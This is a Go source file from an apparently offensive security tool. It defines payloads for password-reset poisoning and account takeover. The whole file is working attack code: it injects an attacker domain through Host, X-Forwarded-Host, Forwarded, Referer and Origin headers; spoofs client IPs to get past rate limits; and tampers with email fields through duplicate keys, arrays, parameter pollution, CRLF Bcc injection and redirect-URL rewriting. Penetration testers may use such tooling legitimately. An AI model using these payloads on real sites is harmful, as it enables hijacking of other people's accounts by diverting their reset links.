-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpayloads.go
More file actions
586 lines (582 loc) · 19.9 KB
/
Copy pathpayloads.go
File metadata and controls
586 lines (582 loc) · 19.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
package main
import (
"fmt"
"strings"
)
type Payload struct {
Name string
Mode string
Description string
// Requires optionally gates this payload to a specific body type ("form", "json").
// If set and the request body type doesn't match, the payload is skipped entirely.
Requires string
// ShouldRun optionally gates this payload on the request contents.
// If set and it returns false, the payload is skipped entirely.
ShouldRun func(r ParsedRequest) bool
// Preview returns a human-readable before→after summary of what this payload changes.
Preview func(r ParsedRequest, attackerDomain, attackerEmail string) string
Apply func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest
}
// extraFieldPayload builds a body payload that updates a single callback/redirect
// field to the attacker domain. It only runs when that field already exists in the
// request — it never injects new keys. One payload per field is intentional:
// injecting every candidate field in a single request makes it impossible to tell
// which field the server actually honors (and unknown keys can make strict parsers
// reject the whole request).
func extraFieldPayload(field string) Payload {
return Payload{
Name: field + " field",
Mode: "body",
ShouldRun: func(r ParsedRequest) bool {
_, ok := r.Fields[field]
return ok
},
Description: "update existing " + field + " field to attacker domain — runs only if the field is already present",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
modified[field] = "https://" + attackerDomain
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Fields[field] = "https://" + attackerDomain
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
}
}
var Payloads = []Payload{
// ── HOST HEADER PAYLOADS ──────────────────────────────────────────────
{
Name: "X-Forwarded-Host",
Mode: "header",
Description: "inject attacker domain via X-Forwarded-Host header",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "X-Forwarded-Host", "", attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["X-Forwarded-Host"] = []string{attackerDomain}
return r
},
},
{
Name: "X-Original-Host",
Mode: "header",
Description: "inject attacker domain via X-Original-Host header",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "X-Original-Host", "", attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["X-Original-Host"] = []string{attackerDomain}
return r
},
},
{
Name: "X-Host",
Mode: "header",
Description: "inject attacker domain via X-Host header",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "X-Host", "", attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["X-Host"] = []string{attackerDomain}
return r
},
},
{
Name: "Forwarded",
Mode: "header",
Description: "inject attacker domain via Forwarded header",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "Forwarded", "", "host="+attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["Forwarded"] = []string{"host=" + attackerDomain}
return r
},
},
{
Name: "X-Forwarded-Server",
Mode: "header",
Description: "inject attacker domain via X-Forwarded-Server header",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "X-Forwarded-Server", "", attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["X-Forwarded-Server"] = []string{attackerDomain}
return r
},
},
{
Name: "X-HTTP-Host-Override",
Mode: "header",
Description: "inject attacker domain via X-HTTP-Host-Override header",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "X-HTTP-Host-Override", "", attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["X-HTTP-Host-Override"] = []string{attackerDomain}
return r
},
},
{
Name: "Host override",
Mode: "header",
Description: "replace Host header directly with attacker domain",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("replace", "Host", r.Host, attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Host = attackerDomain
r.Headers["Host"] = []string{attackerDomain}
return r
},
},
{
Name: "Host append",
Mode: "header",
Description: "append attacker domain to original host",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("append", "Host", r.Host, r.Host+"."+attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["Host"] = []string{r.Host + "." + attackerDomain}
return r
},
},
{
Name: "Host fragment",
Mode: "header",
Description: "inject attacker domain with fragment to bypass validation",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("replace", "Host", r.Host, attackerDomain+"#"+r.Host)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["Host"] = []string{attackerDomain + "#" + r.Host}
return r
},
},
{
Name: "X-Forwarded-Proto",
Mode: "header",
Description: "inject attacker domain via X-Forwarded-Proto header",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "X-Forwarded-Proto", "", attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["X-Forwarded-Proto"] = []string{attackerDomain}
return r
},
},
{
Name: "Referer header",
Mode: "header",
Description: "inject attacker domain via Referer — some servers reflect it in reset link",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
orig := ""
if v := r.Headers["Referer"]; len(v) > 0 {
orig = v[0]
}
return PreviewHeader("replace", "Referer", orig, "https://"+attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["Referer"] = []string{"https://" + attackerDomain}
return r
},
},
{
Name: "Origin header",
Mode: "header",
Description: "inject attacker domain via Origin header",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
orig := ""
if v := r.Headers["Origin"]; len(v) > 0 {
orig = v[0]
}
return PreviewHeader("replace", "Origin", orig, "https://"+attackerDomain)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["Origin"] = []string{"https://" + attackerDomain}
return r
},
},
// ── IP SPOOFING HEADERS ───────────────────────────────────────────────
{
Name: "X-Forwarded-For spoof",
Mode: "header",
Description: "spoof IP via X-Forwarded-For for rate limit bypass",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "X-Forwarded-For", "", "127.0.0.1")
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["X-Forwarded-For"] = []string{"127.0.0.1"}
return r
},
},
{
Name: "X-Real-IP spoof",
Mode: "header",
Description: "spoof IP via X-Real-IP for rate limit bypass",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "X-Real-IP", "", "127.0.0.1")
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["X-Real-IP"] = []string{"127.0.0.1"}
return r
},
},
{
Name: "Client-IP spoof",
Mode: "header",
Description: "spoof IP via Client-IP for rate limit bypass",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "Client-IP", "", "127.0.0.1")
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["Client-IP"] = []string{"127.0.0.1"}
return r
},
},
{
Name: "True-Client-IP spoof",
Mode: "header",
Description: "spoof IP via True-Client-IP for rate limit bypass",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
return PreviewHeader("add", "True-Client-IP", "", "127.0.0.1")
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Headers["True-Client-IP"] = []string{"127.0.0.1"}
return r
},
},
// ── BODY MANIPULATION PAYLOADS ────────────────────────────────────────
{
Name: "Array injection",
Mode: "body",
Description: "wrap email fields in array with attacker value appended",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k, v := range modified {
if !isEmailField(k) {
continue
}
modified[k] = []any{v, InjectValue(k, attackerEmail, attackerDomain)}
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k, v := range r.Fields {
if !isEmailField(k) {
continue
}
r.Fields[k] = []any{v, InjectValue(k, attackerEmail, attackerDomain)}
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "Null confusion",
Mode: "body",
Description: "set all field values to null",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k := range modified {
modified[k] = nil
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k := range r.Fields {
r.Fields[k] = nil
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "Int confusion",
Mode: "body",
Description: "set all field values to 0",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k := range modified {
modified[k] = 0
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k := range r.Fields {
r.Fields[k] = 0
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "Bool confusion",
Mode: "body",
Description: "set all field values to true",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k := range modified {
modified[k] = true
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k := range r.Fields {
r.Fields[k] = true
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "Duplicate keys",
Mode: "body",
Description: "repeat each email field key with attacker value second — parser picks last or first",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
var lines []string
arrow := "\033[33m→\033[0m"
dim := "\033[2m"
reset := "\033[0m"
bold := "\033[1m"
for k, v := range r.Fields {
if !isEmailField(k) {
continue
}
evil := InjectValue(k, attackerEmail, attackerDomain)
lines = append(lines, fmt.Sprintf(" %s~%s %s%s%s: %s %s %s, %s (duplicate key)",
bold, reset, dim, k, reset, anyToString(v), arrow, anyToString(v), evil))
}
if len(lines) == 0 {
return " (no email fields found to duplicate)"
}
return strings.Join(lines, "\n")
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
// build raw JSON manually to allow duplicate keys
// use anyToString to safely convert any field value type (avoids panic)
raw := "{"
for k, v := range r.Fields {
if isEmailField(k) {
raw += `"` + k + `":"` + fmt.Sprintf("%v", v) + `",`
raw += `"` + k + `":"` + InjectValue(k, attackerEmail, attackerDomain) + `",`
} else {
raw += `"` + k + `":"` + fmt.Sprintf("%v", v) + `",`
}
}
raw = raw[:len(raw)-1] + "}"
UpdateContentLength(&r, raw)
r.Body = raw
return r
},
},
{
Name: "HTML injection",
Mode: "body",
Description: "inject HTML into field values — tests if reflected unsanitized in email",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k, v := range modified {
modified[k] = "<b>" + anyToString(v) + "</b>"
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k, v := range r.Fields {
r.Fields[k] = "<b>" + fmt.Sprintf("%v", v) + "</b>"
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
extraFieldPayload("redirectUrl"),
extraFieldPayload("callbackUrl"),
extraFieldPayload("next"),
extraFieldPayload("returnUrl"),
extraFieldPayload("callback"),
extraFieldPayload("redirect"),
{
Name: "Nested object",
Mode: "body",
Description: "wrap email field values in nested object — tests alternative parsing paths",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k, v := range modified {
if !isEmailField(k) {
continue
}
modified[k] = map[string]any{"value": v, "email": InjectValue(k, attackerEmail, attackerDomain)}
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k, v := range r.Fields {
if !isEmailField(k) {
continue
}
r.Fields[k] = map[string]any{"value": v, "email": InjectValue(k, attackerEmail, attackerDomain)}
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "Comma separated",
Mode: "body",
Description: "append attacker email comma-separated in email field string",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k, v := range modified {
if !isEmailField(k) {
continue
}
modified[k] = anyToString(v) + "," + InjectValue(k, attackerEmail, attackerDomain)
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k, v := range r.Fields {
if !isEmailField(k) {
continue
}
r.Fields[k] = fmt.Sprintf("%v", v) + "," + InjectValue(k, attackerEmail, attackerDomain)
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "Pipe separated",
Mode: "body",
Description: "append attacker email pipe-separated in email field string",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k, v := range modified {
if !isEmailField(k) {
continue
}
modified[k] = anyToString(v) + "|" + InjectValue(k, attackerEmail, attackerDomain)
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k, v := range r.Fields {
if !isEmailField(k) {
continue
}
r.Fields[k] = fmt.Sprintf("%v", v) + "|" + InjectValue(k, attackerEmail, attackerDomain)
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "CRLF injection",
Mode: "body",
Description: "inject CRLF + Bcc header into email field value for email header injection",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k, v := range modified {
if !isEmailField(k) {
continue
}
modified[k] = anyToString(v) + "%0aBcc:" + InjectValue(k, attackerEmail, attackerDomain)
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k, v := range r.Fields {
if !isEmailField(k) {
continue
}
r.Fields[k] = fmt.Sprintf("%v", v) + "%0aBcc:" + InjectValue(k, attackerEmail, attackerDomain)
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "backup_email field",
Mode: "body",
Description: "add backup_email field pointing to attacker — some servers send reset to both",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
modified["backup_email"] = InjectValue("email", attackerEmail, attackerDomain)
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Fields["backup_email"] = InjectValue("email", attackerEmail, attackerDomain)
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "Nested user.email",
Mode: "body",
Description: "add nested user object with attacker email — alternative parsing path",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
modified["user"] = map[string]any{"email": InjectValue("email", attackerEmail, attackerDomain)}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
r.Fields["user"] = map[string]any{"email": InjectValue("email", attackerEmail, attackerDomain)}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
{
Name: "Parameter pollution",
Mode: "body",
Requires: "form",
Description: "duplicate email params with attacker value second (form-encoded only)",
Preview: func(r ParsedRequest, attackerDomain, attackerEmail string) string {
modified := DeepCopyFields(r.Fields)
for k, v := range modified {
if !isEmailField(k) {
continue
}
modified[k] = []any{v, InjectValue(k, attackerEmail, attackerDomain)}
}
return PreviewBodyFields(r.Fields, modified)
},
Apply: func(r ParsedRequest, attackerDomain, attackerEmail string) ParsedRequest {
for k, v := range r.Fields {
if !isEmailField(k) {
continue
}
r.Fields[k] = []any{v, InjectValue(k, attackerEmail, attackerDomain)}
}
newBody := RebuildBody(r)
UpdateContentLength(&r, newBody)
r.Body = newBody
return r
},
},
}